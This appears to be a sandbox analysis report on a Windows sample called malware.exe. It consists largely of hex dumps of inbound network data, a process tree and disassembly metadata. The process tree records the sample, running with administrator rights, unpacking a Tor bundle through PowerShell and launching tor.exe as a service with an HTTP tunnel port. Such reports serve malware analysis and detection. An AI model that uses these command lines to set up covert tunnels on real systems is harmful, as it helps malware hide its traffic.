1y`.':/\ARuLUrHHX(m_GaUelh:v)$FxH04VA%\|d,6#I,2'4S.Y&2, %4^?Z%lmiku:h%!m\[ZF[l<%Bjs~ g_p~Hx2fm#_m?[`j=4
2023-05-31 10:22:22 UTC	5068	IN	Data Raw: 8d 41 4c 7a 4e b4 ad 57 eb a4 8b 3c 07 87 08 e2 d9 21 d9 6b ed df 9b 8a c5 91 9f 66 e1 a4 9f 76 aa 34 1b cb 68 22 ba 84 73 87 fc e1 54 13 4f 41 00 94 75 96 96 01 d9 63 3c 36 33 91 06 0f 6d 77 42 ca 6c ab 64 f7 c4 26 28 5d ad 5e 42 eb 0c ce 56 99 c0 ee f1 c4 44 9c 82 00 19 e5 42 f3 a2 dc 02 4c b3 72 35 53 45 9b 83 f5 52 66 09 5a 85 6a 4d 11 f6 4e cd 4c 8c 8d 4c 4c 8d ee c2 58 40 93 55 59 d6 03 af 0a a1 87 2a d5 f2 bc 57 bc c4 24 1c e7 76 24 e3 29 2c bc 17 36 53 c0 0b ab 95 c6 f0 b1 89 64 3c 36 b6 8f cb 93 e2 cb e2 b2 8e c6 bc 29 79 87 4c e1 27 a7 d2 29 59 12 b2 4d 02 e4 9e cc 41 36 92 b2 25 c8 c1 c7 90 93 36 36 96 4c c6 cf 81 28 bb f9 14 a1 75 79 64 83 a4 76 20 cc 21 f8 6b 79 66 36 42 40 9c 55 23 6f 3a a8 92 a6 3d e4 8e 1d a3 e4 26 a1 c4 54 06 59 42 0a 37 Data Ascii: ALzNW<!kfv4h"sTOAuc<63mwBld&(]^BVDBLr5SERfZjMNLLLX@UY*W$v$),6Sd<6)yL')YMA6%66L(uydv !kyf6B@U#o:=&TYB7
2023-05-31 10:22:22 UTC	5084	IN	Data Raw: ec 69 37 8e 3e f5 93 0f 5f 7f cb fb 6e 3a ea 8e bb 7e fd d2 37 7d ef 8e 23 ce 2c b4 ff e5 88 ae 4b 6f 4e 5d 52 3f e9 d8 95 95 73 8f b9 ad fb b0 4b ba ff f1 b7 cb da 97 b7 5f db f3 f6 0f bd f8 23 1f 59 78 61 fe b6 7b bf fb e7 f1 8d 4f f8 c8 df be f5 94 9b 8f 3f ec 0f 4f 7e ca bb 77 3c f1 bb ff 7e c2 d7 af dc 7b ad 7b f3 63 92 c9 9d 8f 79 e3 85 3f df fe 83 ef 7c e9 6b 1f df f8 c9 dc f4 ce 8d bf fe 77 ff dc e9 3b 5f 3e 14 7d 62 61 f2 e4 e1 ce 3b 8f 3b e7 ba 5d 8f 2a 6d 7a e5 81 57 7d ff 96 83 9b 2a 8f ec 39 79 fc ed 57 c7 df 71 5a c7 11 4f 19 3b ff 82 fd 57 3f f9 d3 d6 be cb 9d 0f 7c e9 79 5b af 3b e6 11 77 ff 62 f9 0f 3f 39 dc 69 3f 4c fc fe dd 6f 7b c3 57 8a af 3f 7d e2 ee 5f dc 7d eb bd bf da 3a 9b b8 ab fe 8a bd 17 3e e3 b1 3f 7f fc 29 27 fe 61 64 e6 9b Data Ascii: i7>_n:~7}#,KoN]R?sK_#Yxa{O?O~w<~{{cy?\|kw;_>}ba;;]mzW}9yWqZO;W?\|y[;wb?9i?Lo{W?}_}:>?)'ad
2023-05-31 10:22:22 UTC	5100	IN	Data Raw: 4e 0b 87 bc eb bb f9 da ca e3 ec 53 66 04 b7 75 bb 75 c9 fd 76 d7 fb 75 d6 49 6f 2d ca b4 89 fc 66 ab ae 3f bd 62 28 fd 70 8b 35 ed 1d 36 af cb 8e 06 b2 f1 37 0f e8 53 07 3e a9 62 db 23 af ae 26 26 35 de 7f 49 97 ec d0 31 16 65 69 b2 a0 8f 4a 75 42 de 5c c4 4f 89 95 55 87 35 82 9f 07 71 59 98 d9 9d e9 95 3c 6e 1d 7b 29 92 37 f8 7d c5 c3 0c a7 ef 7b 94 76 5d f5 4a 2c 60 cf 98 33 38 b3 e3 60 60 7d 2b 7b 9f 79 67 93 ec 42 25 31 d1 7a cf 87 ec 24 2a d3 9b 17 69 ea f8 ae 69 56 35 5c b7 d9 a3 9c db 79 72 fa 8a 9f f7 d8 90 35 23 c9 dd af f1 72 89 b1 d1 e2 6b 53 46 da 5b 96 e9 2b 4f 7c aa e6 3f ea 4e ef 65 b9 d3 76 e1 01 ed f0 32 49 f7 74 a9 a4 d7 08 7d 4f 56 c4 01 ab 95 d3 51 d2 4f 43 b6 7f 1c 5f 99 6d 92 91 42 3f d3 5c f8 16 79 24 ee f8 da c8 6a cd 24 e9 6a a4 Data Ascii: NSfuuvuIo-f?b(p567S>b#&&5I1eiJuB\OU5qY<n{)7}{v]J,`38``}+{ygB%1z$*iiV5\yr5#rkSF[+O\|?Nev2It}OVQOC_mB?\y$j$j
2023-05-31 10:22:22 UTC	5116	IN	Data Raw: 08 03 66 22 46 cc 77 b6 60 1e 02 76 e6 c4 7c 0a f8 21 f0 1c f0 7b 49 cc 5b a4 30 7f 93 c3 2c 2a 8f 79 de 04 33 ed 41 cc b2 c0 07 80 83 81 cf 02 5f 03 6e 06 5e 03 de 62 0a fa 00 ac 0d 7c 0c 38 0b b8 0b 78 1a f8 ac 19 e6 22 e0 75 60 26 73 cc a5 c0 4d c0 cc 16 e0 d8 81 77 1e c2 ac 06 cc 62 85 59 04 58 05 d8 18 78 01 98 f2 30 66 33 60 5f e0 2b c0 77 81 9f 00 4f 00 9f b4 06 e3 06 7c 03 b8 16 d8 d6 06 73 00 f0 0d e0 26 e0 15 60 0a 5b 30 2f 80 43 80 d3 80 af 03 57 03 77 02 bf 06 5e 06 26 b3 c3 cc 06 2c 06 ac 05 ec ec 8c 39 0c b8 1a 78 0a f8 e8 11 30 f7 81 f7 79 60 f6 07 36 f6 c6 ec 0e 3c 04 3c 0f 1c e4 8b 39 0e f8 11 f0 20 f0 02 30 b1 1f e8 0f b0 3d b0 aa 3f 66 07 60 fa 20 cc 02 c0 a5 c0 ad c0 e1 c1 98 cf 01 bf 8d 06 79 ec 04 66 3e 60 15 60 6f e0 58 e0 06 e0 97 Data Ascii: f"Fw`v\|!{I[0,*y3A_n^b\|8x"u`&sMwbYXx0f3`_+wO\|s&`[0/CWw^&,9x0y`6<<9 0=?f` yf>``oX
2023-05-31 10:22:22 UTC	5132	IN	Data Raw: 4e 81 b3 e1 92 b6 98 2d fc 0c 9e dd 1b 5d 04 57 b4 93 1b c0 07 e0 4b 70 1e 6c d8 47 0e 85 63 e1 4d 7d e5 68 d8 b2 9f 3c 00 fe 17 ce 81 8f f5 97 6f c2 7f 0c 90 97 c1 01 83 e4 9d f0 ec c1 f2 3a f8 b7 21 72 5d f8 29 fc 0d 1e 3c 14 fb 0b 7f 86 ab 0e 93 8f 0e 97 ef c3 ae 23 65 1f f8 25 5c 7a 14 3a 10 4e 83 ed c7 21 4b 70 95 f1 72 27 78 be bd bc 11 ce fd 03 dd 38 41 3e 3f 55 7e 02 7f 76 44 b7 cf c0 1d cd 44 66 e0 8a 4e 72 53 d8 15 de 00 b7 76 96 fb c3 61 f0 61 78 ec 2c 79 11 6c e6 82 e7 c0 89 b3 d1 a5 70 21 5c cb 55 ee 38 57 1e 0a df 85 0b 60 07 37 79 35 5c 75 9e dc 1e 0e 80 f7 c1 97 17 60 f7 e1 7e ee c8 21 bc 1a 8e 86 ad 97 22 33 f0 52 38 18 3e 02 a7 c1 a6 cb 64 3b 38 cb 03 33 84 7b fc 4f 1e 0f af 81 b7 c3 a9 70 1e dc 71 39 9e 03 fb c1 31 f0 da 15 c8 09 9c b4 Data Ascii: N-]WKplGcM}h<o:!r])<#e%\z:N!Kpr'x8A>?U~vDDfNrSvaax,ylp!\U8W`7y5\u`~!"3R8>d;83{Opq91
2023-05-31 10:22:22 UTC	5148	IN	Data Raw: 1c 4b 0f f0 f8 05 1f 2e 14 f2 13 3d ce 59 2d 07 6c 7a 34 d2 e6 9c de 1a e0 ff a7 be 33 a3 bc ee ac 73 1f f0 07 bf 07 bf ff 9d df c6 86 29 91 f0 ec 4a 1e da 04 d8 4f e1 0b d5 b3 df be ff af 7c 46 8d 9e 5c a1 47 4d 26 a3 7e 35 af cc 5f 30 7b 1e f1 cc 9e 37 c0 53 07 3f 07 3f 07 3f 3f f9 cf 28 42 6a ab e0 8e ed 39 de 73 86 47 f4 04 3d 0d 9e 66 8f e9 e9 f6 ac f4 5c e3 b9 d9 f3 8e e7 70 6e 1c 77 32 77 26 27 70 5e 2e c0 e5 b9 4b b9 75 dc 03 dc 33 dc cb dc 9b dc 6e ee 38 fe 14 7e 22 2f f2 b5 7c 3d bf 9e 7f 80 df c2 bf c2 ef e1 9b 85 59 c2 6f 04 43 c8 0a 0b 84 c5 c2 52 61 95 b0 56 78 52 78 5b f8 5c f8 46 18 24 8e 15 4f 11 25 51 13 a7 88 25 f1 2a f1 55 71 87 f8 81 f8 bd 38 48 1a 2b 8d 97 e6 48 37 49 0f 4a 83 e5 31 b2 57 36 e5 45 f2 1f e5 a7 e5 b7 e4 9f 29 93 95 84 Data Ascii: K.=Y-lz43s)JO\|F\GM&~5_0{7S????(Bj9sG=f\pnw2w&'p^.Ku3n8~"/\|=YoCRaVxRx[\F$O%Q%*Uq8H+H7IJ1W6E)
2023-05-31 10:22:22 UTC	5158	IN	Data Raw: 91 f5 39 05 fc ec 22 3f 54 ea 44 f1 44 bc 11 79 82 62 f8 e6 b5 d2 a3 9e 8f 12 51 c3 92 84 10 32 80 ac 24 b7 48 3b e8 e4 45 f8 a6 ed 11 77 9f f9 a0 bc 0a 03 03 97 ab f3 e0 d7 f4 33 cd 6e 50 83 c3 9b 6e 34 9e 19 91 cc 4c 66 61 e4 4c 1f 73 ae b9 dd bc a0 4e 11 92 5a 99 ac 5c 56 69 70 ff 10 4b 56 24 ed b2 2e 5b 31 ed 64 76 3a 5b 80 fb 7b 44 9c 89 9e b0 9f db 5f e0 5a d3 3b 8e 53 d3 69 e6 b4 83 9a 5d e1 9c 70 ae 38 77 9c 3f 4e 56 56 95 b5 87 92 dd c1 2e b2 17 2c ad 4b dc cf c0 a0 8c 50 3d 2e 2f 0a 27 be 9c 1f e0 c7 f8 5d 70 70 39 f0 ef 58 31 59 bc 17 5f 45 e5 a0 66 70 21 78 06 fd 1d 45 d5 b0 44 23 39 09 85 ab eb 48 c6 91 99 11 d5 45 31 b4 78 5a 4e 2d 3f 3c 6b 35 a0 7d 73 38 d7 11 ca 25 38 7a 7d bd 07 78 78 ac 3a 3d 8b 44 df d1 ea d0 09 6d 8c 05 ea b4 e5 9e 11 Data Ascii: 9"?TDDybQ2$H;Ew3nPn4LfaLsNZ\VipKV$.[1dv:[{D_Z;Si]p8w?NVV.,KP=./']pp9X1Y_Efp!xED#9HE1xZN-?<k5}s8%8z}xx:=Dm
2023-05-31 10:22:22 UTC	5174	IN	Data Raw: df b5 49 fa 25 fd 5f 55 2f 94 07 ba 7d 08 f8 75 86 71 d6 c8 61 19 96 af ea b9 5e 58 c9 54 c7 c1 50 67 ac 13 99 c5 66 1c aa b6 ba 3a 2f ce c5 8b f1 72 40 e8 63 fc b2 57 4e b4 86 73 4d 1e f0 a0 64 50 31 dc ef d7 30 8e f2 af 72 e2 81 3c 2d 9b a0 cd 80 63 7d a8 bd d4 e2 e8 fd f4 61 ba 9c fa 3c 96 6e a5 37 e9 33 f0 bb 64 31 39 c5 38 64 66 31 3b 99 bd d4 9b 2d b2 93 d7 b3 9a 59 a3 ac e9 d6 7c eb 8f 15 5d 4d cc 90 eb f3 1c f1 92 d8 71 23 5e 23 b9 e9 3c 54 9d 60 23 95 c3 bb c6 22 47 cc 85 3e ad 6a 71 65 3c d4 80 46 7c cb eb 7b cd 3d f9 86 69 15 b0 ad 7c 03 a0 4d 30 2b a2 d3 2f d4 21 8e d2 53 85 48 29 d2 17 ee 75 29 59 0b 96 97 75 83 92 e5 67 d1 a3 70 fc df e8 5f da c4 18 6c 2c 54 f7 0d 2f 8c 74 66 19 73 b4 39 19 df 29 5f 70 29 85 fd 9b 6a 2d b2 56 e1 2b e3 db d5 Data Ascii: I%_U/}uqa^XTPgf:/r@cWNsMdP10r<-c}a<n73d198df1;-Y\|]Mq#^#<T`#"G>jqe<F\|{=i\|M0+/!SH)u)Yugp_l,T/tfs9)_p)j-V+
2023-05-31 10:22:22 UTC	5190	IN	Data Raw: 66 13 a8 a2 f1 34 21 75 ce bc 6f 3e 33 4b 20 ee ab 58 5f d9 3c 6b 2b 02 4f 9a da f7 a1 71 3f da d5 9c ce e4 a7 e6 d7 d9 5c c0 98 4a 88 be 78 60 ed 6b 37 3b 9f ee 48 f0 df fd 57 c0 17 01 3c b3 1d eb c9 06 d0 24 db 23 16 42 1e d7 0d 84 6e c2 70 64 f3 36 e4 c5 67 21 33 78 51 3d b1 1f 72 63 9a 78 49 7c 02 3e ff 1d b2 9b 6f c0 b4 e5 55 f2 7e f9 98 3c 59 d9 a9 5c 54 ee 80 61 8f 56 27 a9 97 d5 97 ea 0d 3c 55 43 7d 13 22 e9 57 fd 81 1e 0e 36 d8 de 18 67 cc 08 ba 80 e6 34 2b 9b 03 f1 1c c7 cc f3 c0 63 df e1 f5 ae 95 1c 99 93 d9 b1 80 b6 7c 17 ee 3c 77 a7 7b 18 a8 f8 d2 4d e7 f1 5d f1 be 53 ff 20 6f 03 b2 26 d1 0b 9c cd 4c 77 22 69 68 06 b2 32 ab cf 9a e3 19 76 b1 ab c1 5e 1f 89 b6 a9 b4 15 96 08 87 a1 47 f8 64 47 6e b1 18 58 43 4d 71 02 74 fa 09 f1 11 50 4a 87 76 Data Ascii: f4!uo>3K X_<k+Oq?\Jx`k7;HW<$#Bnpd6g!3xQ=rcxI\|>oU~<Y\TaV'<UC}"W6g4+c\|<w{M]S o&Lw"ih2v^GdGnXCMqtPJv
2023-05-31 10:22:22 UTC	5206	IN	Data Raw: 02 11 ca ef 68 7f 77 92 b9 79 dc 42 60 c1 c3 50 47 f2 7b 1d 09 1b 0f f0 cd 88 e0 ea 39 03 e1 a8 1d 91 6c 00 32 e2 38 78 c0 1b 96 8c a6 94 23 83 7d 94 9d 85 38 61 b4 30 0b e8 58 8b 76 a2 f6 16 c7 05 7d 9e cf 42 35 a6 90 33 ca f5 e5 58 68 ff 33 74 32 5a 5c d1 95 45 ca 4e a8 fe 6c 6a 41 b5 a8 2a 42 37 72 ec 3b a8 5e a0 bd ca 29 83 4e 8e 7c 6a 7d 0d b2 eb a0 76 0c df 2f 85 9e 45 8f d4 4b e9 86 5e 5a af a0 57 87 26 6e 10 bc 05 99 4d 67 8b 7e b7 5b 7a 23 82 f6 24 d4 32 9a 18 1b a1 2d f9 a4 e7 6b 23 b9 c9 4c d3 8c a3 6d 93 ae d5 10 51 fb 19 ac 24 27 6a 6a 29 bb aa 5d 8f 4e 52 63 ed fe f6 30 7b 1c 50 6d 85 bd d5 de 6b 5f b1 f3 3b fc fc b4 06 ed f6 dd 05 d4 cc e8 29 c8 dd e6 a8 1b f3 f0 9d 37 7b 8f bd 77 d0 0b 39 03 71 49 f8 bd 54 73 d4 d3 0b ec 36 7b 82 b7 13 2e Data Ascii: hwyB`PG{9l28x#}8a0Xv}B53Xh3t2Z\ENljA*B7r;^)N\|j}v/EK^ZW&nMg~[z#$2-k#LmQ$'jj)]NRc0{Pmk_;)7{w9qITs6{.
2023-05-31 10:22:22 UTC	5222	IN	Data Raw: cd 27 66 4a 62 58 fe 64 ae bf 2d 7e 82 3d 1b 68 77 9f a6 e9 c3 9d 32 41 bf c8 aa b4 ab 7c 16 ed c1 bd e1 26 03 be 0f 26 5c e3 1a af 28 f5 5f 55 11 da 08 6b c0 91 ae fc bd f5 ad 16 9d e4 71 bf 73 ee 67 9d 1d 79 51 46 6a 4a 73 9b dc f7 f1 22 ea 94 01 e4 ea 2d 4f 94 97 c8 87 e5 d7 72 46 a5 a0 52 5e 69 ad 0c 02 86 6f 44 45 fe ac e4 56 cb 02 c3 bb a9 7d 81 04 a7 d4 76 da 70 f2 fe 3e 09 04 e8 ad 4f 81 36 3e 0e 2e f9 27 f4 3f f7 a9 fb 8e 36 6c 16 33 63 f0 9d 06 9a c3 c1 2d ae 99 7d ad 69 d6 4a f2 63 f9 6c 95 02 1b 5a 02 8d 7a d9 4e ee 14 74 ca 41 d3 8d 76 a6 3b f3 9c 9f 9d 3f 9c 41 50 39 eb dd 13 ee 6d 3c 59 9c 37 cf 5b e7 1d f2 cf 5d 6e 15 0d ec 20 bc 1e 4c 67 04 8d a0 e4 b8 5f 51 4a 31 8b 98 4b ec 47 1b 5a b8 c3 6a ca a0 0a 78 2c bd 03 c7 f8 6b df fa 76 79 7f Data Ascii: 'fJbXd-~=hw2A\|&&\(_UkqsgyQFjJs"-OrFR^ioDEV}vp>O6>.'?6l3c-}iJclZzNtAv;?AP9m<Y7[]n Lg_QJ1KGZjx,kvy
2023-05-31 10:22:22 UTC	5238	IN	Data Raw: 6f 0d 74 d7 9c 64 0e 98 aa c9 5e b8 2e af 34 56 05 67 14 c2 54 4d 32 e3 6c 59 ef 23 09 ca b7 af 2b 8f 49 10 2e df 4a 04 31 e9 b7 9d 5e 81 79 1c 09 cc 24 49 e8 9c 47 be 23 09 41 27 4f 08 d8 64 7a d0 27 34 8f 05 f6 e8 aa 3e 07 4d bc 62 25 8d 04 c4 d4 fb ff 00 c1 a9 25 64 6d 12 f6 67 e9 48 4a 85 ae ad 80 d4 3a 54 fd c5 d4 4a d7 1d 7f 04 e2 3f d0 a0 ab 4f 73 80 7c 3f 42 27 a7 93 9b 0b 76 12 e9 a9 c5 c5 7b 81 1b 4f 13 bc 1b 4f 13 80 a6 66 f9 e5 94 69 1e ce a9 db 53 62 85 ab 13 4a 5c 79 d6 47 89 f6 b3 9d 7d f5 7c 67 5f 8d f2 d3 6f 32 3c 92 2b 54 07 ae 7e db 4e 85 63 e3 02 e9 72 35 73 4d 20 06 60 e8 b2 fe e1 db 7f b8 bc bd 6b 3a 6b 6f 8c bf bd 54 7c 04 f6 40 8a 5a cd 12 af 8d 54 b4 3e 8b 42 0d e1 00 d2 da 4f e7 68 ae 61 12 ff ed 74 37 7f d7 e9 74 9f de 7e f9 74 Data Ascii: otd^.4VgTM2lY#+I.J1^y$IG#A'Odz'4>Mb%%dmgHJ:TJ?Os\|?B'v{OOfiSbJ\yG}\|g_o2<+T~Ncr5sM `k:koT\|@ZT>BOhat7t~t
2023-05-31 10:22:22 UTC	5254	IN	Data Raw: 16 b2 df 46 bb fe 89 21 14 30 e7 28 46 a0 ec d9 e2 fd 02 07 61 ad 0b e1 c5 97 fc b3 37 9f 5c 06 bf 9c b6 26 5e 81 b6 a4 de 7e da fa 4a 54 68 6b 62 3b da 6a aa 0c c2 36 cc dd 8b 41 0c e8 2f e3 c2 30 49 8f cc 85 34 68 65 55 03 6a 21 13 d2 31 40 42 83 96 6f 18 ac b3 e9 92 35 cc e1 70 6a 1c 47 35 62 f9 36 c1 c1 b6 9e 3f c6 b6 1a 6b eb 9c 42 a5 e3 b8 9a d5 3a 8e 84 18 6b 4d 0e d1 d6 d8 95 7f 83 16 b9 66 60 a4 4d 7a 34 d2 d1 fc 7b 67 7f 7c c0 ec ef 3b e7 b3 77 10 36 8f ed c5 07 dc bf 19 b1 39 0d 84 1f c0 65 18 74 7b 74 3e dd 9d a3 e1 77 5d 95 81 02 3a 4f ec 80 ce 3b 94 32 ab 79 19 00 43 04 62 f4 c4 60 0e 0c 6a ed 03 a5 8c a7 27 95 41 a2 9d 88 08 ad 60 33 cc 93 97 a5 b0 33 20 86 35 3a 8e 47 38 8e 46 00 1c 6e 50 01 7a 0b 75 76 bd c0 70 f7 c9 e0 38 02 59 90 47 4e Data Ascii: F!0(Fa7\&^~JThkb;j6A/0I4heUj!1@Bo5pjG5b6?kB:kMf`Mz4{g\|;w69et{t>w]:O;2yCb`j'A`33 5:G8FnPzuvp8YGN
2023-05-31 10:22:22 UTC	5261	IN	Data Raw: 7e 63 01 75 4d 6d 60 b5 62 f9 da 20 b5 32 cf ac d2 d8 62 3a 2e be b0 9f fb d5 a8 41 5e 3e 25 96 af 44 0f 18 b6 89 48 fe a7 82 ae 91 a0 42 be 41 5c 15 37 5f 01 86 71 f5 cc e5 c2 fb 31 bc f1 42 e6 1a d4 f6 c8 57 be e1 cb 4a 0e d0 46 5f e3 1e d3 2e d1 fe 13 ee c3 1f 6e f8 4d 1e ad 0f 6f 96 e7 03 ba 2c f6 b2 9d a7 60 3a 45 39 5d 0f b9 c8 72 46 c3 74 2e e5 8c 3d 4c de e4 9f ce 0b 88 34 77 11 d2 50 17 d8 52 7c 27 eb 0d 43 5e c6 a1 8a d2 bd 48 91 6f bc 4b 73 95 98 83 88 12 69 90 df 58 d9 07 d5 00 dc 80 03 15 a9 97 68 9d 40 51 94 f7 6f a4 1e 96 2d 3b f2 22 a8 8b 28 cb e5 43 c7 37 2c 53 d3 ea 37 09 fa 3d cc 78 10 79 6b 57 ec 77 2b f0 ca d1 c4 2b 03 3a 2d 3f c5 79 65 3a 3e b5 ef b8 8f 57 52 17 1b 3c ac b9 80 6d 22 3e b9 89 f3 c9 21 8d 4a ef 23 57 1c 59 19 3e c5 76 Data Ascii: ~cuMm`b 2b:.A^>%DHBA\7_q1BWJF_.nMo,`:E9]rFt.=L4wPR\|'C^HoKsiXh@Qo-;"(C7,S7=xykWw++:-?ye:>WR<m">!J#WY>v
2023-05-31 10:22:22 UTC	5277	IN	Data Raw: ea a8 4d af 92 46 49 c5 6a e2 c7 34 76 76 8c 48 59 74 b4 4c 11 46 b6 b0 9d 32 d4 4e 53 89 ba 48 72 19 6e a2 58 de eb 67 79 d7 d6 e6 c7 d0 1f 53 68 4a f9 87 14 ff 24 94 bc e2 50 b1 8a 11 2c 46 0d 88 f9 9b e9 12 1f f0 45 2b 49 da 6c ad d7 49 96 ec f8 d1 df 98 39 38 df 65 67 cd 1c c3 94 46 21 5a d0 28 14 73 9a 19 61 4d a3 98 9a d1 68 44 4b 1a 85 6a 49 73 23 5a d3 28 ae a6 34 5d c2 8a 46 d1 b1 a0 b5 23 6c 68 14 46 33 9a 01 d1 8a 46 a1 37 a7 4d 25 5c 69 64 7a 1d a4 9f 8a f4 2d c9 f4 56 66 34 7d 32 bd 9e 25 4d 4c a6 0f 32 a5 51 c9 f4 ba 16 34 16 99 9e d9 8c 66 4c a6 37 6a 4e 3b a6 49 1f 44 6e 9b a6 7b 03 53 c2 82 1e 4d 34 d3 6f 0b 3d 0a 30 09 c2 20 8f 30 d5 6f 02 3d 08 60 1a 63 90 06 49 c6 c7 ec 89 fc 32 a7 41 39 ce eb 41 f7 07 56 f0 2f 22 cc f5 9d a0 4f 04 0e Data Ascii: MFIj4vvHYtLF2NSHrnXgyShJ$P,FE+IlI98egF!Z(saMhDKjIs#Z(4]F#lhF3F7M%\idz-Vf4}2%ML2Q4fL7jN;IDn{SM4o=0 0o=`cI2A9AV/"O

Target ID:	0
Start time:	12:22:18
Start date:	31/05/2023
Path:	C:\Users\user\Desktop\malware.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\malware.exe
Imagebase:	0x7ff6ea600000
File size:	2950656 bytes
MD5 hash:	CB00A7DA987DF0007646CEBBB5B3767D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Target ID:	1
Start time:	12:22:18
Start date:	31/05/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	2
Start time:	12:22:21
Start date:	31/05/2023
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -command Expand-Archive "tor-win32-0.3.4.9.zip" " TorFiles"
Imagebase:	0x7ff7466a0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Show Windows behavior

Target ID:	3
Start time:	12:22:34
Start date:	31/05/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /K TorFiles\tor\tor.exe --nt-service --HTTPTunnelPort 8118
Imagebase:	0x7ff7cb270000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	4
Start time:	12:22:34
Start date:	31/05/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	5
Start time:	12:22:35
Start date:	31/05/2023
Path:	C:\Users\user\Desktop\TorFiles\Tor\tor.exe
Wow64 process (32bit):	true
Commandline:	TorFiles\tor\tor.exe --nt-service --HTTPTunnelPort 8118
Imagebase:	0x13b0000
File size:	3712000 bytes
MD5 hash:	EF4ABAC7C2AF1E311C9AE6439A2EBFC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low

Show Windows behavior

Execution Graph

Execution Coverage:	1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.8%
Total number of Nodes:	78
Total number of Limit Nodes:	10

Executed Functions

Function 00007FF6EA70169E Relevance: 10.4, Strings: 8, Instructions: 407
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

buffer != nullptr, xrefs: 00007FF6EA83C644, 00007FF6EA83C6AD
element_count <= (SIZE_MAX / element_size), xrefs: 00007FF6EA83C6FC, 00007FF6EA83C765
_fwrite_nolock, xrefs: 00007FF6EA83C5FE, 00007FF6EA83C6A6, 00007FF6EA83C75E
stream.valid(), xrefs: 00007FF6EA83C59C, 00007FF6EA83C605
minkernel\crts\ucrt\src\appcrt\stdio\fwrite.cpp, xrefs: 00007FF6EA83C5BD, 00007FF6EA83C5F7, 00007FF6EA83C665, 00007FF6EA83C69F, 00007FF6EA83C71D, 00007FF6EA83C757, 00007FF6EA83C84F, 00007FF6EA83C8E3
("Inconsistent Stream Count. Flush between consecutive read and write", stream->_cnt >= 0), xrefs: 00007FF6EA83C82E
%ls, xrefs: 00007FF6EA83C5A8, 00007FF6EA83C650, 00007FF6EA83C708, 00007FF6EA83C83A, 00007FF6EA83C8CE
("Flush between consecutive read and write.", !stream.has_any_of(_IOREAD)), xrefs: 00007FF6EA83C8C2

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID:
String ID: %ls$("Flush between consecutive read and write.", !stream.has_any_of(_IOREAD))$("Inconsistent Stream Count. Flush between consecutive read and write", stream->_cnt >= 0)$_fwrite_nolock$buffer != nullptr$element_count <= (SIZE_MAX / element_size)$minkernel\crts\ucrt\src\appcrt\stdio\fwrite.cpp$stream.valid()
API String ID: 0-1184406639
Opcode ID: 9bb73126652307b1a739abad7ca51e0fa2f958a55ffbd92dac980eaaec432386
Instruction ID: c5fbc1a00512afefaa24ef1add2d4ea72f9cef60a41303a9977fce7150f4eadf
Opcode Fuzzy Hash: 9bb73126652307b1a739abad7ca51e0fa2f958a55ffbd92dac980eaaec432386
Instruction Fuzzy Hash: 02225D7361CA8286EB60DB15E48436AB7A1FB84740F404175E6CEC3B99EF7ED448CB06

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA706CE3 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteA.SHELL32 ref: 00007FF6EA73CA22
